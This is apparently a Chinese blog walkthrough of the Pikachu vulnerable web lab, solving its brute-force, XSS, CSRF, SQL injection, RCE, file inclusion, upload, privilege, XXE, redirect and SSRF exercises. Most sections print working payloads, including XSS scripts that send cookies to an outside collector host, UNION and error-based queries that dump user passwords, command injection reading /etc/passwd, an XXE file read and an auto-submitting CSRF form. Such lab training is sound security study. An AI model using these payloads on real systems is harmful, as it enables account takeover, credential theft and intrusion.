Pikachu靶场

Burte Force

基于表单的暴力破解

BrupSuite抓包,发到Intruder

pikachu1

username和password设为变量,使用Cluster bomb模式进行爆破

pikachu2

账号为:admin,密码为:123456

验证码绕过(on Server)

抓包发到Repeater,手动修改两次username和password,不更改验证码

pikachu3

pikachu4

Response返回并未提示验证码错误,说明验证码后台不过期,可以重复使用,接下来重复上一节即可。

pikachu5

爆破成功,账号为:admin,密码为:123456

验证码绕过(on Clinet)

BrupSuite开启抓包,提交错误的验证码,发现没有新的数据包发往服务器,但网页还是提示验证码错误

pikachu6

查看网页源码,发现验证码部分是前端验证,代码如下

    var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }
    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }

    createCode();

提交正确的验证码发到Repeater,随意修改验证码字段,Response也未提示验证码错误,说明该字段虽然也提交,但是服务端没有对其进行逻辑处理,接着还是老一套Intruder

pikachu7

爆破成功,账号为:admin,密码为:123456

token防爆破

随便提交一次,抓到的数据包内发现包含token字段,并且每次提交token值都在变化,重放次数过多会提示错误,并且该token就在网页表单中

这就比较简单了,还是Intruder,给token字段也设为变量,在option中设置正则提取其内容

pikachu8

对应的payload也设置为该正则

pikachu9

开始爆破

pikachu10

爆破成功,账号为:admin,密码为:123456

Cross-Site Scripting

反射型XSS(get)

<script>alert("hello")</script>简单弹个hello看下

pikachu11

可以看到内容被插入到页面了

pikachu12

删除get的message字段,刷新后hello消失,反射型xss

接下来构造的XSS的payload如下:

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>

经过编码后的链接如下

http://ip/vul/xss/xss_reflected_get.php?message=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fip%3Aport%2Fcookie%3D%22%2BencodeURI%28document.cookie%29%3B%3C%2Fscript%3E&submit=submit#

vps开启监听

nc -lvvp 9999

模拟访问该链接

pikachu13

获取cookie成功

反射型XSS(post)

也是<script>alert("hello")</script>简单弹个hello看下

pikachu14

url无变化,post传参,用hackbar更清楚,删除message字段,刷新后hello消失,反射型xss

pikachu15

反射post型不方便直接构造链接进行攻击,这里手动将下面的payload输入进去

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>

pikachu16

还是获得了cookie,看着有点乱,对应url解一下码即可

存储型XSS

就不弹窗了,直接开冲

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>

很快啊,cookie就收到了

pikachu17

刷新页面,也还是能收到cookie,存储型xss

DOM型XSS

随便输入个1

pikachu18

出现在了dom树中,dom型xss,尝试构造恶意dom

' onclick="new Image().src='http://ip:port/?cookie='+encodeURI(document.cookie);">

恶意dom拆入后新dom树如下

pikachu19

照例vps开启nc监听,客户端点击后vps收到cookie

pikachu20

DOM型XSS-X

随便输入个flag,出现在了dom中,并且url内参数也发生了变化,类型get反射型xss

pikachu21

思路一样还是闭合标签,构造恶意dom

' onclick="new Image().src='http://ip:port/?cookie='.concat(encodeURI(document.cookie));">

这里连接字符串不能用+号了,+号经url编码后失去了连接符的作用,所以用concat函数替换

同时此种恶意链接经url编码后如下

http://ip/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Fip%3Aport%2F%3Fcookie%3D%27.concat%28encodeURI%28document.cookie%29%29%3B%22%3E#

pikachu22

点击标签中内容,vps即可收到cookie

pikachu23

XSS之盲打

直接两个输入框都输入下放payload,开冲

<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>

pikachu24

模拟登录管理员后台查看后,vps收到管理员cookie

pikachu25

XSS的过滤

pikachu27

后面还是弹窗吧,累了,懒得切来切去了

<script>alert(document.cookie)</script>

输入后没反应,查看页面发现只剩一个>,不知道具体过滤了啥,无脑先试大小写绕过

<sCriPt>alert(document.cookie)</sCriPt>

pikachu26

成功绕过,收获cookie一枚

XSS之htmlspecialchars

htmlspecialchars函数

htmlspecialchars(
    string $string,
    int $flags = ENT_COMPAT | ENT_HTML401,
    string $encoding = ini_get("default_charset"),
    bool $double_encode = true
): string

该函数把预定义的字符转换为 HTML 实体

预定义的字符 转换后
& (& 符号) &
" (双引号) ",除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1ENT_XHTMLENT_HTML5)
< (小于) <
> (大于) >

参数:flag(位掩码,由以下某个或多个标记组成,设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_COMPAT | ENT_HTML401)

常量名称 描述
ENT_COMPAT 会转换双引号,不转换单引号。
ENT_QUOTES 既转换双引号也转换单引号。
ENT_NOQUOTES 单/双引号都不转换。
ENT_IGNORE 静默丢弃无效的代码单元序列,而不是返回空字符串。 不建议使用此标记, 因为它» 可能有安全影响
ENT_SUBSTITUTE 替换无效的代码单元序列为 Unicode 代替符(Replacement Character), U+FFFD (UTF-8) 或者 (其他),而不是返回空字符串。
ENT_DISALLOWED 为文档的无效代码点替换为 Unicode 代替符(Replacement Character): U+FFFD (UTF-8),或 (其他),而不是把它们留在原处。 比如以下情况下就很有用:要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 以 HTML 4.01 处理代码。
ENT_XML1 以 XML 1 处理代码。
ENT_XHTML 以 XHTML 处理代码。
ENT_HTML5 以 HTML 5 处理代码。

前置知识结束,直接将这些预定义字符一('"&><)起输入看看,结果如下

<div id="xssr_main">
    <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
     </form>
     <p class="notice">你的输入已经被记录:</p>
    <a href="" "&><'="">'"&><</a>            
</div>

输入插入到了dom中,且只有'(单引号)没被转换,利用这点闭合属性,构造恶意payload如下

#' onclick='alert(document.cookie)'

恶意payload输入提交后新的页面核心部分如下

<div id="xssr_main">
    <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
     </form>
     <p class="notice">你的输入已经被记录:</p>
    <a href="#" onclick="alert(document.cookie)" '="">#' onclick='alert(document.cookie)'</a>            
</div>

pikachu28

点击标签弹出cookie

xss之href输出

pikachu29

要求输入url,随意输入127.0.0.1后dom如下

<div id="xssr_main">
    <p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
    </form>
    <a href="127.0.0.1"> 阁下自己输入的url还请自己点一下吧</a>
</div>

内容插入了a标签的href属性中,该处也可以执行js代码,构造恶意payload如下

Javascript:alert(document.cookie)

提交后,核心dom变化如下

<div id="xssr_main">
    <p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
    <form method="get">
         <input class="xssr_in" type="text" name="message">
         <input class="xssr_submit" type="submit" name="submit" value="submit">
    </form>
    <a href="Javascript:alert(document.cookie)"> 阁下自己输入的url还请自己点一下吧</a>
</div>

点击标签,弹出cookie

pikachu30

xss之js输出

原始页面js核心部分如下

<script>
    $ms='';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>

随意输入deedbeef后,发现被插入了js代码中

<script>
    $ms='deedbeef';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }
    }
</script>

直接单引号闭合,构造恶意js,并且注释掉后面部分,payload如下

';alert(document.cookie);//

pikachu31

提交后,弹出cookie

CSRF

CSRF(get)

直接登录kobe账号,点击修改个人信息,修改一个手机号项如下

pikachu32

提交时抓包,请求包内容如下

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=10086&add=nba+lakes&email=kobe%40pikachu.com&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jd3540v9nsn5a332185ddutcek
Connection: close

可以看到get请求中并没有防CSRF的token,直接构造恶意链接修改信息为(boy,12580,usa,admin@admin.cn),如下

http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12580&add=usa&email=admin@admin.cn&submit=submit

模拟kobe访问该链接,可以看到通过csrf修改了kobe的信息

pikachu33

CSRF(post)

还是老一套,这次登录lucy账号

pikachu34

随便修改点什么,抓包看到数据是post提交的,这也好办,伪造一个恶意提交表单页面(提交后修改账号内容为boy,12580,usa,admin@admin.cn)

<!DOCTYPE html>
<html>
<head lang="cn">
        <title>csrf_post</title>
        <script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://172.26.239.122/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
         <input type="text" name="sex" value="boy"><br>
         <input type="hidden" name="phonenum" value="12580"><br>
         <input type="hidden" name="add" value="usa"><br>
         <input type="hidden" name="email" value="admin@admin.cn"><br>
         <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>

模拟lucy访问我们伪造的恶意页面,可以看到通过csrf修改了lucy的信息

pikachu35

CSRF Token

CSRF的主要问题是敏感操作的链接容易被伪造,那Token是如何防止CSRF的:

  • 每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证
  • 每次刷新页面,token值都会发生变化。这样就防止了CSRF

随意修改内容,第一次请求包数据如下

GET /vul/csrf/csrftoken/token_get_edit.php?sex=10086&phonenum=10086&add=10086&email=10086&token=78116632ec0a6bbe12219421110&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close

第二次如下

GET /vul/csrf/csrftoken/token_get_edit.php?sex=10010&phonenum=10010&add=10010&email=10010&token=91613632ec0d3169d4241490211&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close

可以发现token值明显不同,服务端对这个进行校验,(token值够随机,防暴力破解好的话)就可以较为有效过滤掉伪造的CSRF请求

SQL-Inject

数字型注入(post)

抓包,送到Repeater

pikachu36

id字段可注入,数字型

查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,id字段注入数据如下

id=1 order by 3

查显示位(2个显示位),post数据部分如下

id=-1 union select 1,2

pikachu37

查库名,查表名

id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

pikachu38

查users表下的字段名(查其他表对应替换table_name)

id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()

pikachu39

查users表下的数据

id=-1 union select username,password from users

pikachu40

字符型注入(get)

name字段可注入,字符型,字段、显示位啥就不查了,一样的

查用户、表名

name=' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()#

pikachu41

查数据库版本、users表下的字段名(查其他表对应替换table_name)

name=' union select version(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#

pikachu42

查users表下的数据

name=' union select username,password from users#

pikachu40

搜索型注入

还是name字段可注入,搜索型

查字段,order by到4报Unknown column '4' in 'order clause',说明就3个字段,name字段注入数据如下

name=1%' order by 4#

查显示位(3个显示位)

name=1%' union select 1,2,3#

查操作系统,查表名

name=1%' union select @@version_compile_os,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

查users表下的字段名(查其他表对应替换table_name)

name=1%' union select version(),@@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#

查users表下的数据

name=1%' union select username,id,password from users#

pikachu43

xx型注入

name字段可注入,从报错可知,闭合语句需要')

查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,name字段注入数据如下

name=') order by 3#

查显示位(2个显示位)

name=') union select 1,2#

查操作系统,查表名

name=') union select @@version_compile_os,group_concat(table_name) from information_schema.tables where table_schema=database()#

查users表下的字段名(查其他表对应替换table_name)

name=') union select @@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#

查users表下的数据

name=') union select username,password from users#

pikachu44

"insert/update"注入

username字段可以注入,字符型单引号'

这里选username字段,利用extractvalue函数报错注入

查表名

username=' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '

查数据库版本、users表下的字段名(查其他表对应替换table_name)

username=' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) or '

pikachu45

查users表下的数据

username=' or extractvalue(1, concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e)) or '

"delete"注入

点击删除留言时数据包的id字段可注入,数字型,数据包如下

GET /vul/sqli/sqli_del.php?id=56 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_del.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close

这次用updataxml函数来报错注入

查表名

id=56 and updatexml(1,concat(0x7e,@@version,0x7e),1)

tips:这里是get传参的,需要url编码

pikachu46

http头注入

pikachu47

直接登录账号,可以发现返回的数据包对之前的UA等HTTP头数据进行了纪录

pikachu48

重新抓包,尝试在UA处测试注入

pikachu49

测试存在SQL注入,字符型单引号'

查表名

' or updatexml(1,concat(0x7e,database()),1) or '

pikachu50

最后查个数据吧,其他的不查了,都一样

' or updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e),1) or '

盲注(base on boolian)

搜索不存在的用户例如:hacker

pikachu51

提示用户不存在,再搜一个有的:kobe

pikachu53

保存抓到的请求包为header.txt如下

GET /vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_blind_b.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close

sqlmap直接开跑

sqlmap -r header.txt –current-db

pikachu54

盲注(base on time)

同样sqlmap直接跑

sqlmap -r header.txt –current-db

pikachu55

宽字节注入

正常输入kobe,SQL语句使用了like模糊查询

pikachu56

%'闭合无效,尝试宽字节闭合,先来个万能查询

name=%df' or 1=1#

pikachu57

查显示位(2个显示位)

name=%df' union select 1,2#

pikachu58

查库名,查表名

name=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

pikachu59

查users表下的数据

name=%df' union select username,password from users#

pikachu60

RCE

exec "ping"

pikachu61

要求输入IP地址,这里尝试拼接命令,提交后发现可以直接注入命令

localhost & cat /etc/passwd

pikachu62

exec "evel"

pikachu63

要求输入字符串,提示说明使用了eval对接受的字符串进行了执行,提交后返回phpinfo页面

pikachu64

说明可以直接输入恶意php代码,进行RCE

File Inclusion

File Inclusion(local)

pikachu65

选择Kobe Bryant提交后,发现url发生了变化,疑似包含了file1.php文件

这里通过目录爆破,得到../../../../之后就是系统根目录了,这里成功包含了/etc/passwd目录

pikachu66

File Inclusion(remote)

pikachu67

选择Kobe Bryant提交后,还是url发生了变化,这次尝试远程包含文件

编写include.php文件,vps启动http服务

<?php phpinfo();?>

访问http://172.26.239.122/vul/fileinclude/fi_remote.php?filename=http://172.26.239.122:4444/include.php&submit=提交后成功远程包含

pikachu68

Unsafe Filedownload

pikachu69

随便点击一个,抓取数据包,数据包请求信息如下

GET /vul/unsafedownload/execdownload.php?filename=kb.png HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/unsafedownload/down_nba.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

filename像是文件,尝试修改该字段为/etc/passwd,提示文件不存在

pikachu70

利用本地包含的信息,重新修改为../../../../etc/passwd,成功下载该文件

pikachu71

Unsafe Fileupload

client check

编写一句话木马文件shell.php,尝试上传抓包

pikachu72

发现并没有数据包发出,就收到了验证信息,为前端验证,直接修改后缀为jpg,抓包后再改回来绕过

pikachu73

成功上传

MIME type

还是传shell.php,这次改MIME type也就是Content-Type: image/jpeg

pikachu74

成功上传

getimagesize

前两种单独或结合起来都没用了,这次给shell.php内容中增加图片文件头GIF89a,再上传

pikachu75

这种后门文件没办法通过访问触发了,需要配合解析漏洞或者文件包含使用

Over Permission

水平越权

pikachu76

开启抓包点击查看个人信息按钮

pikachu77

该请求数据包内容如下

GET /vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op1/op1_mem.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close

尝试修改username字段为其他用户例如:vince,即可水平越权,使用lucy账户查看vince用户的信息

pikachu78

垂直越权

先使用超级管理员进行登录

pikachu79

点击添加用户,填入对应信息,进行抓包,对应请求数据包如下,暂时发到Repeater

POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 172.26.239.122
Content-Length: 112
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.26.239.122
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close
username=hacker&password=hacker&sex=hacker&phonenum=hacker&email=hacker&address=hacker&submit=%E5%88%9B%E5%BB%BA

接着登录普通用户,抓取普通用户的cookie,替换超级管理员的cookie部分进行发包

pikachu80

可以看到成功使用无权限普通用户添加了一个hacker的新用户

../../

目录遍历

pikachu81

这个前面本地文件包含时直接目录爆破得到了../../../../就是系统根目录了,利用这点遍历读取/etc/passwd文件

pikachu82

敏感信息泄露

Icanseeyouabc

直接在链接前插入view-source:,查看网页源代码其中注释部分泄露了账号等敏感信息,如下

<!-- 测试账号:lili/123456-->
<!-- /.widget-body -->

PHP反序列化漏洞

php源代码如下

<?php 
    class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);
?> 

使用下列代码生成恶意序列化数据

<?php 
    class S{
        public $test = "<script>alert(document.cookie)</script>";
        }
    $code=new S();
    echo serialize($code);
?>

生成序列化数据如下

O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

提交后,弹出cookie

pikachu83

XXE

XXE漏洞

概述

  • XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞;XXE扩大了攻击面
  • 当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
  • 防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

pikachu84

我们利用外部实体注入,读取/etc/passwd文件,xml-dtd的payload如下

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE creds [   <!ENTITY goodies SYSTEM "file:///etc/passwd"> ]>  <creds>&goodies;</creds>

pikachu85

可以看到成功读取了文件进行显示

URL重定向

不安全的url跳转

  • 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方
  • 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题
  • url跳转比较直接的危害是:钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

pikachu86

点击我就是我,放荡不羁的我后,url更新为

http://172.26.239.122/vul/urlredirect/urlredirect.php?url=i

尝试url字段修改为https://www.baidu.com

页面重定向到了https://www.baidu.com,这里恶意利用的话可以搭建恶意站点,诱导用户点击

SSRF

SSRF(curl)

点击后显示如下(docker搭建的环境,手动修复了下ip地址)

pikachu87

尝试修改url字段为http://172.26.239.122:3306,进行SSRF端口探测

pikachu88

其他端口探测同理,这里就不演示了,docker只映射了80和3306端口出来

SSRF(file_get_content)

  • file_get_content 可以对本地和远程的文件进行读取

pikachu89

这里读取本地/etc/passwd文件

http://172.26.239.122/vul/ssrf/ssrf_fgc.php?file=/etc/passwd

pikachu90

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇